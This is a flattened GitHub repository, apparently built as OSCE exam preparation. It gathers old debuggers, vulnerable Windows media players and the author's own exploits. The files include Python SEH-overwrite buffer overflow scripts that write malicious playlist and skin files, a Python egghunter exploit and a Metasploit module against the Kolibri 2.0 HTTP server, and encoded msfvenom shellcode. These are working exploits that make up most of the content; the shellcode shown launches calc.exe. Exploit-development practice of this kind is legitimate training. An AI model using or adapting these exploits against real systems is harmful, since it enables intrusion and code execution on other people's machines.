├── README.md ├── env ├── 7z1604-x64.exe ├── 7z1604.exe ├── ImmunityDebugger_1_85_setup.exe ├── MSECExtensions_1_0_6.zip ├── MSECExtensions_1_6_0.zip ├── Sublime Text Build 3126 Setup.exe ├── dbg_amd64_6.11.1.404.msi ├── dbg_ia64_6.11.1.404.msi ├── dbg_x86_6.11.1.404.msi ├── findjmp.exe ├── mona.py ├── odbg201.zip ├── pykd.zip ├── python-2.7.msi ├── winsdksetup.exe ├── x32-64dbg.zip └── x86-mingw32-build-1.0-sh.tar.bz2 └── exploitable ├── DVDXPlayer ├── DVDXPlayerSetup.exe └── exploit.py ├── Easy RM to MP3 └── EasyRMtoMP3Converter.zip ├── Kolibri v2.0 HTTP Server ├── Kolibri-2.0-win.zip ├── exploit.py └── msf_kalibri.rb ├── Millenium MP3 Studio ├── exploit.py └── millennium.zip ├── README.md ├── RSP MP3 Player └── rsp_mp3_ocx_3.2.0_sw.zip ├── Soritong MP3 Player 1.0 ├── exploit.py └── soritong10.exe └── Triologic Media Player 8 └── triomp8setup.exe /README.md: -------------------------------------------------------------------------------- 1 | # expdev 2 | 3 | This is a list of vulnerable software, which I used to prepare for OSCE course. 4 | 5 | The `env` folder contains some software that I used on my Windows XP box. I decided to include it because it seems to be hard to find old versions of software (such as windbg). 6 | 7 | The `exploitable` folder contains vulnerable software and my exploits. This software has well documented flaws. 8 | 9 | Now it has: 10 | 11 | * Easy RM to MP3 12 | * Millenium MP3 Studio 13 | * Soritong MP3 Player 1.0 14 | * DVDXPlayer 15 | * Kolibri Web Server 16 | 17 | ![](https://i.imgur.com/mHo3cYE.png) 18 | -------------------------------------------------------------------------------- /env/7z1604-x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/7z1604-x64.exe -------------------------------------------------------------------------------- /env/7z1604.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/7z1604.exe -------------------------------------------------------------------------------- /env/ImmunityDebugger_1_85_setup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/ImmunityDebugger_1_85_setup.exe -------------------------------------------------------------------------------- /env/MSECExtensions_1_0_6.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/MSECExtensions_1_0_6.zip -------------------------------------------------------------------------------- /env/MSECExtensions_1_6_0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/MSECExtensions_1_6_0.zip -------------------------------------------------------------------------------- /env/Sublime Text Build 3126 Setup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/Sublime Text Build 3126 Setup.exe -------------------------------------------------------------------------------- /env/dbg_amd64_6.11.1.404.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/dbg_amd64_6.11.1.404.msi -------------------------------------------------------------------------------- /env/dbg_ia64_6.11.1.404.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/dbg_ia64_6.11.1.404.msi -------------------------------------------------------------------------------- /env/dbg_x86_6.11.1.404.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/dbg_x86_6.11.1.404.msi -------------------------------------------------------------------------------- /env/findjmp.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/findjmp.exe -------------------------------------------------------------------------------- /env/odbg201.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/odbg201.zip -------------------------------------------------------------------------------- /env/pykd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/pykd.zip -------------------------------------------------------------------------------- /env/python-2.7.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/python-2.7.msi -------------------------------------------------------------------------------- /env/winsdksetup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/winsdksetup.exe -------------------------------------------------------------------------------- /env/x32-64dbg.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/x32-64dbg.zip -------------------------------------------------------------------------------- /env/x86-mingw32-build-1.0-sh.tar.bz2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/env/x86-mingw32-build-1.0-sh.tar.bz2 -------------------------------------------------------------------------------- /exploitable/DVDXPlayer/DVDXPlayerSetup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/exploitable/DVDXPlayer/DVDXPlayerSetup.exe -------------------------------------------------------------------------------- /exploitable/DVDXPlayer/exploit.py: -------------------------------------------------------------------------------- 1 | from struct import pack 2 | 3 | 4 | path = "exploit.plf" 5 | print path 6 | 7 | next_seh = "\xeb\x06\x90\x90" 8 | 9 | #0x6033ba01 10 | seh = "\x01\xba\x33\x60" 11 | junk = 'A'*608 12 | 13 | # 14 | # msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_upper -f python --var-name=sc 15 | # 16 | sc = "" 17 | sc += "\xdb\xc0\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x43" 18 | sc += "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" 19 | sc += "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" 20 | sc += "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" 21 | sc += "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" 22 | sc += "\x49\x4b\x4c\x5a\x48\x4b\x32\x35\x50\x43\x30\x33\x30" 23 | sc += "\x43\x50\x4c\x49\x4a\x45\x50\x31\x4f\x30\x42\x44\x4c" 24 | sc += "\x4b\x36\x30\x36\x50\x4c\x4b\x51\x42\x34\x4c\x4c\x4b" 25 | sc += "\x30\x52\x55\x44\x4c\x4b\x44\x32\x31\x38\x44\x4f\x48" 26 | sc += "\x37\x50\x4a\x56\x46\x50\x31\x4b\x4f\x4e\x4c\x37\x4c" 27 | sc += "\x33\x51\x33\x4c\x43\x32\x46\x4c\x37\x50\x59\x51\x48" 28 | sc += "\x4f\x34\x4d\x35\x51\x48\x47\x5a\x42\x4b\x42\x30\x52" 29 | sc += "\x50\x57\x4c\x4b\x46\x32\x52\x30\x4c\x4b\x30\x4a\x47" 30 | sc += "\x4c\x4c\x4b\x50\x4c\x42\x31\x52\x58\x5a\x43\x50\x48" 31 | sc += "\x53\x31\x58\x51\x30\x51\x4c\x4b\x30\x59\x37\x50\x43" 32 | sc += "\x31\x48\x53\x4c\x4b\x50\x49\x34\x58\x4d\x33\x36\x5a" 33 | sc += "\x51\x59\x4c\x4b\x56\x54\x4c\x4b\x35\x51\x38\x56\x36" 34 | sc += "\x51\x4b\x4f\x4e\x4c\x4f\x31\x48\x4f\x34\x4d\x55\x51" 35 | sc += "\x39\x57\x46\x58\x4b\x50\x33\x45\x5a\x56\x45\x53\x53" 36 | sc += "\x4d\x4b\x48\x57\x4b\x33\x4d\x57\x54\x53\x45\x4a\x44" 37 | sc += "\x46\x38\x4c\x4b\x36\x38\x31\x34\x35\x51\x38\x53\x32" 38 | sc += "\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45\x4c" 39 | sc += "\x33\x31\x49\x43\x4c\x4b\x54\x44\x4c\x4b\x43\x31\x4e" 40 | sc += "\x30\x4c\x49\x47\x34\x47\x54\x37\x54\x31\x4b\x31\x4b" 41 | sc += "\x33\x51\x46\x39\x51\x4a\x56\x31\x4b\x4f\x4d\x30\x51" 42 | sc += "\x4f\x31\x4f\x30\x5a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" 43 | sc += "\x51\x4d\x43\x5a\x35\x51\x4c\x4d\x4d\x55\x48\x32\x33" 44 | sc += "\x30\x43\x30\x43\x30\x30\x50\x55\x38\x50\x31\x4c\x4b" 45 | sc += "\x32\x4f\x4c\x47\x4b\x4f\x59\x45\x4f\x4b\x4a\x50\x4f" 46 | sc += "\x45\x49\x32\x36\x36\x33\x58\x4f\x56\x4d\x45\x4f\x4d" 47 | sc += "\x4d\x4d\x4b\x4f\x58\x55\x57\x4c\x43\x36\x53\x4c\x45" 48 | sc += "\x5a\x4b\x30\x4b\x4b\x4d\x30\x44\x35\x43\x35\x4f\x4b" 49 | sc += "\x51\x57\x55\x43\x42\x52\x42\x4f\x53\x5a\x35\x50\x51" 50 | sc += "\x43\x4b\x4f\x39\x45\x53\x53\x35\x31\x52\x4c\x45\x33" 51 | sc += "\x36\x4e\x32\x45\x52\x58\x33\x55\x43\x30\x41\x41" 52 | 53 | buf = junk + next_seh + seh + sc 54 | 55 | f = open(path, 'w') 56 | f.write(buf) 57 | f.close() 58 | -------------------------------------------------------------------------------- /exploitable/Easy RM to MP3/EasyRMtoMP3Converter.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/exploitable/Easy RM to MP3/EasyRMtoMP3Converter.zip -------------------------------------------------------------------------------- /exploitable/Kolibri v2.0 HTTP Server/Kolibri-2.0-win.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/exploitable/Kolibri v2.0 HTTP Server/Kolibri-2.0-win.zip -------------------------------------------------------------------------------- /exploitable/Kolibri v2.0 HTTP Server/exploit.py: -------------------------------------------------------------------------------- 1 | from struct import pack 2 | import sys 3 | import socket 4 | import os 5 | 6 | # 7 | # msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_upper -f python --var-name=sc 8 | # 9 | sc = "b33fb33f" 10 | sc += "\xdb\xc0\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x43" 11 | sc += "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" 12 | sc += "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" 13 | sc += "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" 14 | sc += "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" 15 | sc += "\x49\x4b\x4c\x5a\x48\x4b\x32\x35\x50\x43\x30\x33\x30" 16 | sc += "\x43\x50\x4c\x49\x4a\x45\x50\x31\x4f\x30\x42\x44\x4c" 17 | sc += "\x4b\x36\x30\x36\x50\x4c\x4b\x51\x42\x34\x4c\x4c\x4b" 18 | sc += "\x30\x52\x55\x44\x4c\x4b\x44\x32\x31\x38\x44\x4f\x48" 19 | sc += "\x37\x50\x4a\x56\x46\x50\x31\x4b\x4f\x4e\x4c\x37\x4c" 20 | sc += "\x33\x51\x33\x4c\x43\x32\x46\x4c\x37\x50\x59\x51\x48" 21 | sc += "\x4f\x34\x4d\x35\x51\x48\x47\x5a\x42\x4b\x42\x30\x52" 22 | sc += "\x50\x57\x4c\x4b\x46\x32\x52\x30\x4c\x4b\x30\x4a\x47" 23 | sc += "\x4c\x4c\x4b\x50\x4c\x42\x31\x52\x58\x5a\x43\x50\x48" 24 | sc += "\x53\x31\x58\x51\x30\x51\x4c\x4b\x30\x59\x37\x50\x43" 25 | sc += "\x31\x48\x53\x4c\x4b\x50\x49\x34\x58\x4d\x33\x36\x5a" 26 | sc += "\x51\x59\x4c\x4b\x56\x54\x4c\x4b\x35\x51\x38\x56\x36" 27 | sc += "\x51\x4b\x4f\x4e\x4c\x4f\x31\x48\x4f\x34\x4d\x55\x51" 28 | sc += "\x39\x57\x46\x58\x4b\x50\x33\x45\x5a\x56\x45\x53\x53" 29 | sc += "\x4d\x4b\x48\x57\x4b\x33\x4d\x57\x54\x53\x45\x4a\x44" 30 | sc += "\x46\x38\x4c\x4b\x36\x38\x31\x34\x35\x51\x38\x53\x32" 31 | sc += "\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45\x4c" 32 | sc += "\x33\x31\x49\x43\x4c\x4b\x54\x44\x4c\x4b\x43\x31\x4e" 33 | sc += "\x30\x4c\x49\x47\x34\x47\x54\x37\x54\x31\x4b\x31\x4b" 34 | sc += "\x33\x51\x46\x39\x51\x4a\x56\x31\x4b\x4f\x4d\x30\x51" 35 | sc += "\x4f\x31\x4f\x30\x5a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" 36 | sc += "\x51\x4d\x43\x5a\x35\x51\x4c\x4d\x4d\x55\x48\x32\x33" 37 | sc += "\x30\x43\x30\x43\x30\x30\x50\x55\x38\x50\x31\x4c\x4b" 38 | sc += "\x32\x4f\x4c\x47\x4b\x4f\x59\x45\x4f\x4b\x4a\x50\x4f" 39 | sc += "\x45\x49\x32\x36\x36\x33\x58\x4f\x56\x4d\x45\x4f\x4d" 40 | sc += "\x4d\x4d\x4b\x4f\x58\x55\x57\x4c\x43\x36\x53\x4c\x45" 41 | sc += "\x5a\x4b\x30\x4b\x4b\x4d\x30\x44\x35\x43\x35\x4f\x4b" 42 | sc += "\x51\x57\x55\x43\x42\x52\x42\x4f\x53\x5a\x35\x50\x51" 43 | sc += "\x43\x4b\x4f\x39\x45\x53\x53\x35\x31\x52\x4c\x45\x33" 44 | sc += "\x36\x4e\x32\x45\x52\x58\x33\x55\x43\x30\x41\x41" 45 | 46 | hunter =("\x66\x81\xca\xff" 47 | "\x0f\x42\x52\x6a" 48 | "\x02\x58\xcd\x2e" 49 | "\x3c\x05\x5a\x74" 50 | "\xef\xb8\x62\x33" #b3 51 | "\x33\x66\x8b\xfa" #3f 52 | "\xaf\x75\xea\xaf" 53 | "\x75\xe7\xff\xe7") 54 | 55 | exploit = "\xcc"*515 + "\xd7\x30\x9d\x7c" + hunter 56 | 57 | 58 | request = ( 59 | "HEAD /" + exploit + " HTTP/1.1\r\n" 60 | "Host: localhost:8080\r\n" 61 | "User-Agent: " + sc + "\r\n" 62 | "Keep-Alive: 115\r\n" 63 | "Connection: keep-alive\r\n\r\n") 64 | 65 | 66 | 67 | expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 68 | expl.connect(("10.0.2.15", 8080)) 69 | expl.send(request) 70 | expl.close() 71 | -------------------------------------------------------------------------------- /exploitable/Kolibri v2.0 HTTP Server/msf_kalibri.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | class Metasploit3 < Msf::Exploit::Remote 4 | 5 | include Msf::Exploit::Remote::Tcp 6 | include Msf::Exploit::Remote::HttpClient 7 | include Msf::Exploit::Egghunter 8 | 9 | def initialize(info = {}) 10 | super(update_info(info, 11 | 'Name' => 'Kalibri HTTP server exploit', 12 | 'Description' => %q{ 13 | This module exploits a stack overflow in a 14 | Kalibri HTTP server. 15 | }, 16 | 'Author' => [ 'Simon Uvarov' ], 17 | 'Version' => '$Revision: 1.0 $', 18 | 'DefaultOptions' => 19 | { 20 | 'EXITFUNC' => 'seh', 21 | }, 22 | 'Payload' => 23 | { 24 | 'Space' => 515, 25 | 'BadChars' => "\x00\x0d\x0a\x3d\x20\x3f", 26 | }, 27 | 'Platform' => 'win', 28 | 29 | 'Targets' => 30 | [ 31 | ['Windows XP SP3 En', 32 | { 'Ret' => 0x7C9D30D7, 'Offset' => 504 } ], 33 | ], 34 | 'DefaultTarget' => 0, 35 | 36 | 'Privileged' => false 37 | )) 38 | 39 | register_options( 40 | [ 41 | Opt::RPORT(8080) 42 | ], self.class) 43 | end 44 | 45 | def exploit 46 | 47 | print_status("Sending request...") 48 | hunter, egg = generate_egghunter(payload.encoded, payload_badchars) 49 | sploit = make_nops(515) + [target.ret].pack('V') 50 | sploit << hunter 51 | send_request_raw({ 52 | 'uri' => "/" + sploit, 53 | 'version' => '1.1', 54 | 'method' => 'HEAD', 55 | 'headers' => {'Content-Type' => egg}, 56 | }) 57 | 58 | handler 59 | 60 | end 61 | 62 | end 63 | -------------------------------------------------------------------------------- /exploitable/Millenium MP3 Studio/exploit.py: -------------------------------------------------------------------------------- 1 | from struct import pack 2 | 3 | path = "exploit.mpf" 4 | 5 | next_seh = "\xeb\x1e\x90\x90" 6 | seh = "\xbe\x2d\x01\x10" 7 | junk = 'A'*4105 8 | 9 | # 10 | # msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_upper -f python --var-name=sc 11 | # 12 | sc = "\x90"*40 13 | sc += "\x89\xe7\xd9\xea\xd9\x77\xf4\x59\x49\x49\x49\x49\x49" 14 | sc += "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" 15 | sc += "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" 16 | sc += "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" 17 | sc += "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" 18 | sc += "\x49\x4b\x4c\x4a\x48\x4c\x42\x45\x50\x35\x50\x53\x30" 19 | sc += "\x43\x50\x4d\x59\x4b\x55\x50\x31\x59\x50\x33\x54\x4c" 20 | sc += "\x4b\x30\x50\x30\x30\x4c\x4b\x36\x32\x44\x4c\x4c\x4b" 21 | sc += "\x30\x52\x55\x44\x4c\x4b\x42\x52\x51\x38\x44\x4f\x4f" 22 | sc += "\x47\x30\x4a\x57\x56\x36\x51\x4b\x4f\x4e\x4c\x37\x4c" 23 | sc += "\x53\x51\x43\x4c\x53\x32\x36\x4c\x51\x30\x59\x51\x38" 24 | sc += "\x4f\x44\x4d\x35\x51\x4f\x37\x4b\x52\x5a\x52\x56\x32" 25 | sc += "\x56\x37\x4c\x4b\x36\x32\x52\x30\x4c\x4b\x50\x4a\x57" 26 | sc += "\x4c\x4c\x4b\x50\x4c\x44\x51\x34\x38\x4b\x53\x37\x38" 27 | sc += "\x55\x51\x58\x51\x36\x31\x4c\x4b\x31\x49\x31\x30\x55" 28 | sc += "\x51\x48\x53\x4c\x4b\x47\x39\x35\x48\x4d\x33\x56\x5a" 29 | sc += "\x51\x59\x4c\x4b\x56\x54\x4c\x4b\x55\x51\x4e\x36\x36" 30 | sc += "\x51\x4b\x4f\x4e\x4c\x59\x51\x38\x4f\x34\x4d\x53\x31" 31 | sc += "\x58\x47\x36\x58\x4b\x50\x42\x55\x4c\x36\x33\x33\x53" 32 | sc += "\x4d\x5a\x58\x57\x4b\x33\x4d\x36\x44\x33\x45\x4b\x54" 33 | sc += "\x50\x58\x4c\x4b\x30\x58\x57\x54\x43\x31\x4e\x33\x55" 34 | sc += "\x36\x4c\x4b\x54\x4c\x30\x4b\x4c\x4b\x56\x38\x55\x4c" 35 | sc += "\x43\x31\x39\x43\x4c\x4b\x45\x54\x4c\x4b\x53\x31\x58" 36 | sc += "\x50\x4b\x39\x57\x34\x57\x54\x47\x54\x51\x4b\x31\x4b" 37 | sc += "\x35\x31\x46\x39\x50\x5a\x30\x51\x4b\x4f\x4d\x30\x51" 38 | sc += "\x4f\x51\x4f\x30\x5a\x4c\x4b\x44\x52\x5a\x4b\x4c\x4d" 39 | sc += "\x31\x4d\x32\x4a\x45\x51\x4c\x4d\x4b\x35\x48\x32\x43" 40 | sc += "\x30\x55\x50\x53\x30\x50\x50\x35\x38\x46\x51\x4c\x4b" 41 | sc += "\x52\x4f\x4b\x37\x4b\x4f\x39\x45\x4f\x4b\x5a\x50\x4e" 42 | sc += "\x55\x4e\x42\x31\x46\x45\x38\x49\x36\x4c\x55\x4f\x4d" 43 | sc += "\x4d\x4d\x4b\x4f\x48\x55\x37\x4c\x43\x36\x43\x4c\x55" 44 | sc += "\x5a\x4b\x30\x4b\x4b\x4d\x30\x43\x45\x44\x45\x4f\x4b" 45 | sc += "\x30\x47\x32\x33\x43\x42\x42\x4f\x43\x5a\x35\x50\x50" 46 | sc += "\x53\x4b\x4f\x38\x55\x35\x33\x33\x51\x32\x4c\x42\x43" 47 | sc += "\x46\x4e\x55\x35\x42\x58\x35\x35\x55\x50\x41\x41" 48 | 49 | buf = "http://" + junk + next_seh + seh + sc 50 | 51 | f = open(path, 'w') 52 | f.write(buf) 53 | f.close() 54 | -------------------------------------------------------------------------------- /exploitable/Millenium MP3 Studio/millennium.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/exploitable/Millenium MP3 Studio/millennium.zip -------------------------------------------------------------------------------- /exploitable/README.md: -------------------------------------------------------------------------------- 1 | # exploitable 2 | Repo with software which have well documented flaws 3 | -------------------------------------------------------------------------------- /exploitable/RSP MP3 Player/rsp_mp3_ocx_3.2.0_sw.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/exploitable/RSP MP3 Player/rsp_mp3_ocx_3.2.0_sw.zip -------------------------------------------------------------------------------- /exploitable/Soritong MP3 Player 1.0/exploit.py: -------------------------------------------------------------------------------- 1 | 2 | path = "C:\Program Files\SoriTong\Skin\Default\UI.txt" 3 | print path 4 | 5 | #10018de8 6 | next_seh = "\xeb\x06\x90\x90" 7 | seh = "\xe8\x8d\x01\x10" 8 | junk = 'A'*584 9 | 10 | sc = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" 11 | "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" 12 | "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" 13 | "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" 14 | "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" 15 | "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37" 16 | "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48" 17 | "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" 18 | "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" 19 | "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" 20 | "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" 21 | "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" 22 | "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48" 23 | "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43" 24 | "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57" 25 | "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a" 26 | "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b" 27 | "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53" 28 | "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" 29 | "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49" 30 | "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46" 31 | "\x4e\x36\x43\x46\x42\x50\x5a") 32 | buf = junk + next_seh + seh + sc + '\xCC'*4000 33 | 34 | f = open(path, 'w') 35 | f.write(buf) 36 | f.close() 37 | -------------------------------------------------------------------------------- /exploitable/Soritong MP3 Player 1.0/soritong10.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/exploitable/Soritong MP3 Player 1.0/soritong10.exe -------------------------------------------------------------------------------- /exploitable/Triologic Media Player 8/triomp8setup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simonuvarov/expdev/d0297d6084c1d7296378ecd99e0e30f5c01e1ee9/exploitable/Triologic Media Player 8/triomp8setup.exe --------------------------------------------------------------------------------